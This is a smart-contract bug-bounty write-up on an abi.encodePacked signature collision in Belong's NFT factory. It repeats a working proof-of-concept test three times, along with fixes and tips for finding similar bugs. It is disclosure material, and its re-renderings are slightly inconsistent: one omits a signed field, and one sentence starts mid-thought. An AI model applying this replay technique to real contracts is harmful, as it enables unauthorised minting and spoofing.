Signature replay and hash collision via abi encodepacked in signatureverifier sol
The signature verifier built the signed message by concatenating dynamic string fields without length separators, so different name and symbol pairs could produce the same bytes and the same hash. An attacker could reuse a signature issued for one collection to create a different, unauthorised collection.
Belong
Originally disclosed on Immunefi
57314 sc medium signature replay and hash collision via abi encodepacked in signatureverifier sol
- Submitted on: Oct 25th 2025 at 07:13:23 UTC by @iehnnkta for Audit Comp | Belong
- Report ID: #57314
- Report Type: Smart Contract
- Severity: Medium
- Target: https://github.com/immunefi-team/audit-comp-belong/blob/main/contracts/v2/platform/Factory.sol
- Impact: Unauthorized minting of NFTs
Description / Intro
- The factory creates Access Tokens using an off-chain signature which is verified in
SignatureVerifier::checkAccessTokenInfo. - The signed message is constructed with
abi.encodePackedover multiple dynamic fields (name,symbol,contractURI,feeNumerator,chainId). - This concatenation is ambiguous because
abi.encodePackedconcatenates raw bytes of dynamic strings without length delimiters. Distinct inputs can collide (for example, "USDC" + "USDC" == "USD" + "CUSDC" when concatenated), enabling signature collisions across different (name, symbol) pairs.
Vulnerability Details
SignatureVerifier::checkAccessTokenInfohashes:keccak256(abi.encodePacked(name, symbol, contractURI, feeNumerator, block.chainid))
- Because
abi.encodePackeddoes not include length separators for dynamic types, different combinations of inputs can produce the same byte sequence and thus the same hash and signature. - Example collision: a signature issued for (name = "USDC", symbol = "USDC") can be reused to create a different collection with (name = "USD", symbol = "CUSDC").
Impact
- Authorization bypass for collection creation: an attacker can deploy unauthorized collections using a signature intended for a different collection.
- Collection spoofing and loss of control over what the platform signs; potential reputational damage and misdirected user funds.
- The same issue appears across the
SignatureVerifiercontract whereverabi.encodePackedis used for hashing signed data.
References
- https://github.com/immunefi-team/audit-comp-belong/blob/a17f775dcc4c125704ce85d4e18b744daece65af/contracts/v2/utils/SignatureVerifier.sol#L53-L74
- https://github.com/immunefi-team/audit-comp-belong/blob/a17f775dcc4c125704ce85d4e18b744daece65af/contracts/v2/utils/SignatureVerifier.sol#L81-L99
Mitigation
- Replace
abi.encodePackedwithabi.encodewhen building the message to hash.abi.encodeincludes type and length information, preventing ambiguous concatenation. - Alternatively, use EIP-712 typed structured data signing to robustly encode signed fields.
Proof of Concept
Use the following test inside factory.test.ts under the Deployment describe block.
{% stepper %} {% step %}
Setup & context
- The test demonstrates a signature collision where a signature for (name = "USDC", symbol = "USDC") is reused to create a different collection (name = "USD", symbol = "CUSDC").
- Fixture provides:
factory,alice,bob,signer, andchainId. {% endstep %}
{% step %}
1) Alice obtains a valid signature and creates (name = "USDC", symbol = "USDC")
Code:
it('PoC: reuse signature via abi.encodePacked collision (USDC,USDC) => (USD,CUSDC)', async () => {
const { factory, alice, bob, signer } = await loadFixture(fixture);
const feeNumerator = 600;
const contractURI = 'contractURI/USDC';
const price = ethers.utils.parseEther('0.01');
// 1) Alice creates (name=USDC, symbol=USDC)
const name1 = 'USDC';
const symbol1 = 'USDC';
const sig1 = EthCrypto.sign(
signer.privateKey,
hashAccessTokenInfo(name1, symbol1, contractURI, feeNumerator, chainId),
);
const info1: AccessTokenInfoStruct = {
metadata: { name: name1, symbol: symbol1 },
contractURI,
paymentToken: NATIVE_CURRENCY_ADDRESS,
mintPrice: price,
whitelistMintPrice: price,
transferable: true,
maxTotalSupply: BigNumber.from('1000'),
feeNumerator,
collectionExpire: BigNumber.from('86400'),
signature: sig1,
} as unknown as AccessTokenInfoStruct; // satisfy type
const tx1 = await factory.connect(alice).produce(info1, ethers.constants.HashZero);
await expect(tx1).to.emit(factory, 'AccessTokenCreated');
const infoAlice = await factory.nftInstanceInfo(name1, symbol1);
expect(infoAlice.nftAddress).to.not.equal(ZERO_ADDRESS);
expect(infoAlice.creator).to.equal(alice.address);
{% endstep %}
{% step %}
2) Bob reuses the same signature to create (name = "USD", symbol = "CUSDC")
Code (continuation):
// 2) Bob reuses the same signature to create (name=USD, symbol=CUSDC)
const name2 = 'USD';
const symbol2 = 'CUSDC'; // Note: encodePacked collision => 'USD' + 'CUSDC' == 'USDCUSDC'
const info2: AccessTokenInfoStruct = {
metadata: { name: name2, symbol: symbol2 },
contractURI,
paymentToken: NATIVE_CURRENCY_ADDRESS,
mintPrice: price,
whitelistMintPrice: price,
transferable: true,
maxTotalSupply: BigNumber.from('1000'),
feeNumerator,
collectionExpire: BigNumber.from('86400'),
signature: sig1, // reuse Alice's signature
} as unknown as AccessTokenInfoStruct;
const tx2 = await factory.connect(bob).produce(info2, ethers.constants.HashZero);
await expect(tx2).to.emit(factory, 'AccessTokenCreated');
const infoBob = await factory.nftInstanceInfo(name2, symbol2);
expect(infoBob.nftAddress).to.not.equal(ZERO_ADDRESS);
expect(infoBob.creator).to.equal(bob.address);
// Ensure both collections exist and are different
expect(infoBob.nftAddress).to.not.equal(infoAlice.nftAddress);
});
{% endstep %} {% endstepper %}
Test output after running:
✔ PoC: reuse signature via abi.encodePacked collision (USDC,USDC) => (USD,CUSDC) (695ms)
1 passing (697ms)
This confirms a successful reuse of the same signature to create two distinct collections due to encoding ambiguity.
Context
Belong's platform contracts include a factory that creates Access Tokens (NFT collections) on behalf of users. Collection creation is authorised off-chain: a trusted signer produces a signature over the collection's parameters, and the factory accepts the creation only if that signature verifies. The verification lives in SignatureVerifier::checkAccessTokenInfo, and the target of this report is the factory at contracts/v2/platform/Factory.sol.
The signed message is built with abi.encodePacked over several dynamic fields: name, symbol, contractURI, feeNumerator and chainId. The report's impact category is unauthorised minting of NFTs.
Setup
The proof of concept is a test added to factory.test.ts, inside the Deployment describe block. It relies on a fixture that provides factory, alice, bob, signer and chainId. Signatures are produced off-chain with EthCrypto.sign over a helper called hashAccessTokenInfo, and the test uses ethers (ethers.utils.parseEther, BigNumber, ethers.constants.HashZero).
Finding it
The researcher observed that the message hashed in SignatureVerifier::checkAccessTokenInfo is:
keccak256(abi.encodePacked(name, symbol, contractURI, feeNumerator, block.chainid))
abi.encodePacked concatenates the raw bytes of dynamic strings without length delimiters. Because of that, the concatenation is ambiguous: distinct inputs can produce the same byte sequence, and therefore the same hash and the same signature. The report gives the canonical example that "USDC" + "USDC" equals "USD" + "CUSDC" when concatenated. The same issue appears across the SignatureVerifier contract wherever abi.encodePacked is used for hashing signed data.
Exploitation
The test demonstrates a signature collision: a signature issued for (name = USDC, symbol = USDC) is reused to create a different collection with (name = USD, symbol = CUSDC).
Step 1: Alice obtains a valid signature and creates (USDC, USDC)
The test signs the hash of Alice's intended collection parameters with the trusted signer's key, then Alice calls produce on the factory.
it('PoC: reuse signature via abi.encodePacked collision (USDC,USDC) => (USD,CUSDC)', async () => {
const { factory, alice, bob, signer } = await loadFixture(fixture);
const feeNumerator = 600;
const contractURI = 'contractURI/USDC';
const price = ethers.utils.parseEther('0.01');
// 1) Alice creates (name=USDC, symbol=USDC)
const name1 = 'USDC';
const symbol1 = 'USDC';
const sig1 = EthCrypto.sign(
signer.privateKey,
hashAccessTokenInfo(name1, symbol1, contractURI, feeNumerator, chainId),
);
const info1: AccessTokenInfoStruct = {
metadata: { name: name1, symbol: symbol1 },
contractURI,
paymentToken: NATIVE_CURRENCY_ADDRESS,
mintPrice: price,
whitelistMintPrice: price,
transferable: true,
maxTotalSupply: BigNumber.from('1000'),
feeNumerator,
collectionExpire: BigNumber.from('86400'),
signature: sig1,
} as unknown as AccessTokenInfoStruct; // satisfy type
const tx1 = await factory.connect(alice).produce(info1, ethers.constants.HashZero);
await expect(tx1).to.emit(factory, 'AccessTokenCreated');
const infoAlice = await factory.nftInstanceInfo(name1, symbol1);
expect(infoAlice.nftAddress).to.not.equal(ZERO_ADDRESS);
expect(infoAlice.creator).to.equal(alice.address);
The signature sig1 covers name1, symbol1, contractURI, feeNumerator and chainId. The call to produce succeeds and emits AccessTokenCreated; the factory records Alice as the creator of the collection under (USDC, USDC).
Step 2: Bob reuses the same signature to create (USD, CUSDC)
Bob submits a different collection, with the same contractURI, feeNumerator and chainId, but with name and symbol split differently, and attaches Alice's signature unchanged.
// 2) Bob reuses the same signature to create (name=USD, symbol=CUSDC)
const name2 = 'USD';
const symbol2 = 'CUSDC'; // Note: encodePacked collision => 'USD' + 'CUSDC' == 'USDCUSDC'
const info2: AccessTokenInfoStruct = {
metadata: { name: name2, symbol: symbol2 },
contractURI,
paymentToken: NATIVE_CURRENCY_ADDRESS,
mintPrice: price,
whitelistMintPrice: price,
transferable: true,
maxTotalSupply: BigNumber.from('1000'),
collectionExpire: BigNumber.from('86400'),
signature: sig1, // reuse Alice's signature
} as unknown as AccessTokenInfoStruct;
const tx2 = await factory.connect(bob).produce(info2, ethers.constants.HashZero);
await expect(tx2).to.emit(factory, 'AccessTokenCreated');
const infoBob = await factory.nftInstanceInfo(name2, symbol2);
expect(infoBob.nftAddress).to.not.equal(ZERO_ADDRESS);
expect(infoBob.creator).to.equal(bob.address);
// Ensure both collections exist and are different
expect(infoBob.nftAddress).to.not.equal(infoAlice.nftAddress);
});
Because 'USD' + 'CUSDC' concatenates to the same bytes as 'USDC' + 'USDC', the packed message is identical, so the hash is identical and sig1 verifies for Bob's parameters. The second produce call also emits AccessTokenCreated, the factory records Bob as the creator of the (USD, CUSDC) collection, and the two collections have different NFT addresses.
Test output after running:
✔ PoC: reuse signature via abi.encodePacked collision (USDC,USDC) => (USD,CUSDC) (695ms)
1 passing (697ms)
This confirms a successful reuse of the same signature to create two distinct collections due to encoding ambiguity.
Root cause
The signature is computed over a packed concatenation of fields, and abi.encodePacked does not include length separators for dynamic types. Different combinations of inputs can therefore produce the same byte sequence, and thus the same hash and signature. The verifier has no way to tell which split of the concatenated bytes the signer intended, so a signature for one (name, symbol) pair is equally valid for another pair whose concatenation matches. The same pattern appears wherever SignatureVerifier hashes signed data with abi.encodePacked.
Impact
An attacker can deploy unauthorised collections using a signature intended for a different collection: authorisation bypass for collection creation. The report also lists collection spoofing and loss of control over what the platform signs, with potential reputational damage and misdirected user funds. The collision requires the other signed fields (contractURI, feeNumerator, chainId) to stay the same and the two dynamic strings to be re-split so that their concatenation is unchanged; the report's example is the pair (USDC, USDC) versus (USD, CUSDC).
Fix
Replace abi.encodePacked with abi.encode when building the message to hash. abi.encode includes type and length information, which prevents ambiguous concatenation. Alternatively, use EIP-712 typed structured data signing to encode the signed fields robustly.
- Re-split any two adjacent dynamic fields in a signed struct, keeping the concatenation identical, and check whether the same signature verifies for the new values. A positive result is a second successful state-changing call with the original signature.
- Look for
abi.encodePackedover a dynamic string next to a fixed-width value (address,uint256), where shifting bytes between fields can produce the same packed output. A positive result is a signature that verifies for a different address or amount than the one signed. - Check every hashing site in the same verifier contract, not just the collection-creation path, for the same packed encoding of signed data. A positive result is any other function that accepts a replayed signature under changed inputs.
This class of bug hides in off-chain authorisation flows: contracts that verify a signer's signature over user-supplied parameters, especially where several dynamic fields are hashed together. During recon, grep the codebase for abi.encodePacked inside hashing helpers used for signatures, and compare the field list against the struct the caller supplies. The signal is a hash built from more than one variable-length field, or a variable-length field adjacent to a fixed-width one.
To show impact, demonstrate two distinct, valid state changes from a single signature, as this report does: create the first collection with the legitimately signed parameters, then create a second, different collection with the same signature and assert that both exist with different addresses and different creators. A passing test with both AccessTokenCreated events is the evidence a program needs.
What happened, in plain words
Belong runs a platform where people can create their own NFT collections. An NFT collection is a set of digital items recorded on a blockchain, and each collection has a name and a short ticker-style label called a symbol, much like a stock has a company name and a three-letter code.
Instead, the platform uses a signature. Think of a signature here as a wax seal on a letter: a trusted person at Belong presses their private stamp onto a piece of paper that lists the details of the collection you want to create. Anyone can look at the seal and confirm it is genuine, but nobody can copy the stamp itself. When you ask the platform to create your collection, you hand over both the details and the sealed paper. The platform checks the seal against the details, and if they match, it creates the collection.
The problem found in this report is that the piece of paper is written in a way that can be misread. The details are glued together into one long string of characters with nothing marking where one detail ends and the next begins. If two different pairs of details happen to glue together into exactly the same string, the seal looks valid for both. The researcher showed that a seal issued for a collection called USDC with symbol USDC can be reused to create a completely different collection called USD with symbol CUSDC, because USDC followed by USDC and USD followed by CUSDC produce the same characters: USDCUSDC.
The report rates this Medium severity, with the impact listed as unauthorised minting of NFTs. Minting means creating new items on the blockchain. The proof is a test that creates two different collections from one signature and shows both succeed.
Background you need
What a smart contract is
A smart contract is a small program that lives on a blockchain. Once deployed, anyone can call its functions, and the code runs exactly as written. Belong's platform is built from several such contracts, and the one in scope here is a factory.
What a factory does
A factory is a contract whose job is to create other contracts. In this case, the factory creates Access Tokens, which are NFT collections. You tell the factory what kind of collection you want, and it builds a fresh contract for it and keeps a record of who created what.
What off-chain authorisation means
Some checks are too expensive or too awkward to do inside a blockchain transaction, so they happen before the transaction is sent, on a normal computer. That is what off-chain means: outside the blockchain. Belong's trusted signer runs a program that produces a signature over the collection details. The user then includes that signature in their transaction, and the factory verifies it on-chain. The signature is the proof that Belong approved this particular collection.
What a hash is
A hash is a fingerprint of some data. You feed in any amount of text and get back a fixed-length string of characters. The same input always gives the same fingerprint, and it is practically impossible to find two different inputs with the same fingerprint on purpose. Signatures are usually made over a hash rather than the raw data, because the hash is short and fixed in size.
What abi.encodePacked is
When a contract needs to turn several values into one blob of bytes, it uses an encoding function. abi.encodePacked is one of them. It takes each value, converts it to its raw bytes, and sticks them together with no padding and no separators. It is like writing several words on one line without spaces: USDC and USDC become USDCUSDC, and so do USD and CUSDC. abi.encode, the alternative, adds length information so the reader can tell where each value starts and ends.
What a signature replay is
A replay is when a valid proof is used a second time for something it was not meant for. If a signature is not tied tightly enough to the exact details it approved, someone can present it again with slightly different details and the check still passes. That is the class of bug here.
The target
The report targets the factory contract at contracts/v2/platform/Factory.sol. The signature check itself lives in a helper contract called SignatureVerifier, in a function named checkAccessTokenInfo. The factory calls that function before it creates a collection.
Finding the problem
The researcher looked at how the message to be signed is built inside SignatureVerifier::checkAccessTokenInfo. It is this:
keccak256(abi.encodePacked(name, symbol, contractURI, feeNumerator, block.chainid))
Line by line:
nameis the collection's display name, a piece of text of any length.symbolis the collection's short label, also text of any length.contractURIis a text field pointing at metadata about the collection.feeNumeratoris a number used for royalties.block.chainidis the identifier of the blockchain the transaction runs on, so a signature for one chain cannot be used on another.abi.encodePackedglues all five together into one byte string, with no markers between them.keccak256turns that byte string into a fingerprint, and the signature is made over that fingerprint.
Because the two text fields name and symbol have no length marker, the boundary between them is invisible. The verifier cannot tell whether the characters USDCUSDC came from USDC plus USDC or from USD plus CUSDC. Both produce the same glued string, so both produce the same fingerprint, so the same signature verifies for both. The report notes the same pattern appears anywhere in SignatureVerifier where signed data is hashed with abi.encodePacked.
Proving it
The proof is a test added to factory.test.ts, inside the Deployment describe block. A describe block is just a labelled group of tests. The test relies on a fixture, which is a setup routine that prepares a fresh environment before each test. This fixture provides factory, alice, bob, signer and chainId: the factory contract, two user accounts, the trusted signer's key, and the chain identifier.
Signatures are produced outside the blockchain with EthCrypto.sign, over a helper called hashAccessTokenInfo that builds the same fingerprint the contract will build. The test also uses the ethers library, which is the standard toolkit for talking to Ethereum-style chains from JavaScript or TypeScript.
Step 1: Alice gets a valid signature and creates (USDC, USDC)
The test signs the fingerprint of Alice's intended collection parameters with the trusted signer's key, then Alice calls produce on the factory.
it('PoC: reuse signature via abi.encodePacked collision (USDC,USDC) => (USD,CUSDC)', async () => {
const { factory, alice, bob, signer } = await loadFixture(fixture);
const feeNumerator = 600;
const contractURI = 'contractURI/USDC';
const price = ethers.utils.parseEther('0.01');
// 1) Alice creates (name=USDC, symbol=USDC)
const name1 = 'USDC';
const symbol1 = 'USDC';
const sig1 = EthCrypto.sign(
signer.privateKey,
hashAccessTokenInfo(name1, symbol1, contractURI, feeNumerator, chainId),
);
const info1: AccessTokenInfoStruct = {
metadata: { name: name1, symbol: symbol1 },
contractURI,
paymentToken: NATIVE_CURRENCY_ADDRESS,
mintPrice: price,
whitelistMintPrice: price,
transferable: true,
maxTotalSupply: BigNumber.from('1000'),
feeNumerator,
collectionExpire: BigNumber.from('86400'),
signature: sig1,
} as unknown as AccessTokenInfoStruct; // satisfy type
const tx1 = await factory.connect(alice).produce(info1, ethers.constants.HashZero);
await expect(tx1).to.emit(factory, 'AccessTokenCreated');
const infoAlice = await factory.nftInstanceInfo(name1, symbol1);
expect(infoAlice.nftAddress).to.not.equal(ZERO_ADDRESS);
expect(infoAlice.creator).to.equal(alice.address);
What each part does:
it(...)declares one test with a descriptive name. The name spells out the trick: reuse a signature through anabi.encodePackedcollision, turning(USDC,USDC)into(USD,CUSDC).loadFixture(fixture)runs the setup and pulls out the factory, the two users, the signer and the chain id.feeNumerator = 600sets the royalty number used in the signed data.contractURI = 'contractURI/USDC'sets the metadata pointer.parseEther('0.01')converts the human-readable amount 0.01 into the smallest unit the blockchain uses.name1andsymbol1are both set toUSDC.EthCrypto.sign(...)produces the signaturesig1over the fingerprint built byhashAccessTokenInfofrom the name, symbol, metadata pointer, royalty number and chain id. This is the trusted signer approving Alice's collection.- The
info1object gathers everything the factory needs: the metadata, the payment token, the mint price, the whitelist price, whether items are transferable, the maximum supply of 1000, the royalty number, an expiry of 86400 seconds, and the signaturesig1. factory.connect(alice).produce(info1, ...)sends the creation request as Alice. The second argument is a zero hash, meaning no extra salt is used.expect(tx1).to.emit(factory, 'AccessTokenCreated')checks that the transaction produced the factory's creation event, which is the contract's way of announcing that a collection was made.nftInstanceInfo(name1, symbol1)reads back the factory's record for that name and symbol.- The two
expectlines check that a real contract address was recorded and that Alice is listed as the creator.
So far everything is legitimate: Alice asked for a collection called USDC with symbol USDC, and the trusted signer approved exactly that.
Step 2: Bob reuses the same signature to create (USD, CUSDC)
Bob submits a different collection. The metadata pointer, royalty number and chain id stay the same, but the name and symbol are split differently, and he attaches Alice's signature unchanged.
// 2) Bob reuses the same signature to create (name=USD, symbol=CUSDC)
const name2 = 'USD';
const symbol2 = 'CUSDC'; // Note: encodePacked collision => 'USD' + 'CUSDC' == 'USDCUSDC'
const info2: AccessTokenInfoStruct = {
metadata: { name: name2, symbol: symbol2 },
contractURI,
paymentToken: NATIVE_CURRENCY_ADDRESS,
mintPrice: price,
whitelistMintPrice: price,
transferable: true,
maxTotalSupply: BigNumber.from('1000'),
feeNumerator,
collectionExpire: BigNumber.from('86400'),
signature: sig1, // reuse Alice's signature
} as unknown as AccessTokenInfoStruct;
const tx2 = await factory.connect(bob).produce(info2, ethers.constants.HashZero);
await expect(tx2).to.emit(factory, 'AccessTokenCreated');
const infoBob = await factory.nftInstanceInfo(name2, symbol2);
expect(infoBob.nftAddress).to.not.equal(ZERO_ADDRESS);
expect(infoBob.creator).to.equal(bob.address);
// Ensure both collections exist and are different
expect(infoBob.nftAddress).to.not.equal(infoAlice.nftAddress);
});
What each part does:
name2 = 'USD'andsymbol2 = 'CUSDC'are the new values. The comment points out the collision:USDfollowed byCUSDCis the same characters asUSDCfollowed byUSDC.info2is built the same way asinfo1, with the same metadata pointer, prices, supply, royalty number and expiry, but with the new name and symbol.signature: sig1is the key line. Bob does not have a signature of his own; he reuses Alice's.factory.connect(bob).produce(info2, ...)sends the request as Bob.- The event check confirms the factory accepted it and created a collection.
nftInstanceInfo(name2, symbol2)reads back the record for Bob's collection, and the checks confirm a real address exists and Bob is the creator.- The final check confirms the two collections have different addresses, so they really are two separate contracts, not the same one recorded twice.
Because the glued bytes are identical, the fingerprint is identical, and sig1 verifies for Bob's parameters. The factory has no way to know that the signer meant USDC and USDC rather than USD and CUSDC.
Test output after running:
✔ PoC: reuse signature via abi.encodePacked collision (USDC,USDC) => (USD,CUSDC) (695ms)
1 passing (697ms)
This confirms a successful reuse of the same signature to create two distinct collections due to encoding ambiguity.
Why it happens
The signature is computed over a packed concatenation of fields, and abi.encodePacked does not include length separators for text fields. Different combinations of inputs can therefore produce the same byte sequence, and thus the same fingerprint and signature. The verifier has no way to tell which split of the concatenated bytes the signer intended, so a signature for one name and symbol pair is equally valid for another pair whose concatenation matches. The same pattern appears wherever SignatureVerifier hashes signed data with abi.encodePacked.
What an attacker could do
An attacker can deploy unauthorised collections using a signature intended for a different collection. That is an authorisation bypass for collection creation: the check that is supposed to limit who can create what can be sidestepped. The report also lists collection spoofing, meaning a collection that looks like it was approved but is not the one that was approved, and loss of control over what the platform signs, with potential reputational damage and misdirected user funds.
The collision has conditions. The other signed fields, namely the metadata pointer, the royalty number and the chain id, must stay the same, and the two text fields must be re-split so that their concatenation is unchanged. The report's example is the pair (USDC, USDC) against (USD, CUSDC).
How to fix it
Replace abi.encodePacked with abi.encode when building the message to hash. abi.encode includes type and length information, which prevents ambiguous concatenation. Alternatively, use EIP-712 typed structured data signing, a standard way of signing named fields so that each field is clearly identified, to encode the signed fields robustly.
The report suggests three variants to test:
- Re-split any two adjacent text fields in a signed structure, keeping the concatenation identical, and check whether the same signature verifies for the new values. A positive result is a second successful state-changing call with the original signature.
- Look for
abi.encodePackedover a text field next to a fixed-width value such as an address or a number, where shifting bytes between fields can produce the same packed output. A positive result is a signature that verifies for a different address or amount than the one signed. - Check every hashing site in the same verifier contract, not just the collection-creation path, for the same packed encoding of signed data. A positive result is any other function that accepts a replayed signature under changed inputs.
This class of bug hides in off-chain authorisation flows: contracts that verify a signer's signature over user-supplied parameters, especially where several text fields are hashed together. During recon, search the codebase for abi.encodePacked inside hashing helpers used for signatures, and compare the field list against the structure the caller supplies. The signal is a fingerprint built from more than one variable-length field, or a variable-length field next to a fixed-width one.
To show impact, demonstrate two distinct, valid state changes from a single signature, as this report does: create the first collection with the legitimately signed parameters, then create a second, different collection with the same signature, and assert that both exist with different addresses and different creators. A passing test with both creation events is the evidence a program needs.
Glossary
- Access Token: Belong's name for an NFT collection created through its factory.
abi.encode: An encoding function that adds type and length information, so each value can be told apart.abi.encodePacked: An encoding function that glues raw bytes together with no padding or separators.- Authorisation bypass: Getting an action approved without the approval that was supposed to be required.
- Blockchain: A shared, append-only record of transactions maintained by many computers.
- Chain id: A number identifying which blockchain a transaction is for.
- Collision: Two different inputs producing the same output, here the same glued bytes and therefore the same fingerprint.
- Contract address: The identifier of a deployed smart contract on the blockchain.
- Describe block: A labelled group of tests in a test file.
- EIP-712: A standard for signing structured, named data so each field is unambiguous.
- Ethers: A JavaScript/TypeScript library for interacting with Ethereum-style blockchains.
- Event: A message a contract emits to announce that something happened, which tests and applications can listen for.
- Factory: A contract whose purpose is to create other contracts.
- Fixture: A setup routine that prepares a fresh test environment before each test.
- Hash / fingerprint: A fixed-length value derived from data, used to represent it compactly and verifiably.
- keccak256: The hashing function used by Ethereum-style chains.
- Minting: Creating new items on a blockchain.
- NFT: A unique digital item recorded on a blockchain.
- Off-chain: Happening outside the blockchain, on an ordinary computer.
- On-chain: Happening inside a blockchain transaction.
- Private key: A secret value used to produce signatures; whoever holds it can sign on the owner's behalf.
produce: The factory function that creates a collection after checking the signature.- Replay: Reusing a valid proof for a purpose it was not intended for.
- Signature: A cryptographic proof that the holder of a private key approved some data.
- Smart contract: A program deployed on a blockchain that anyone can call.
- Symbol: A short label for a collection, like a ticker code.
- Transaction: A request sent to a blockchain to run a contract function.
- Verifier: The contract or function that checks whether a signature is valid for given data.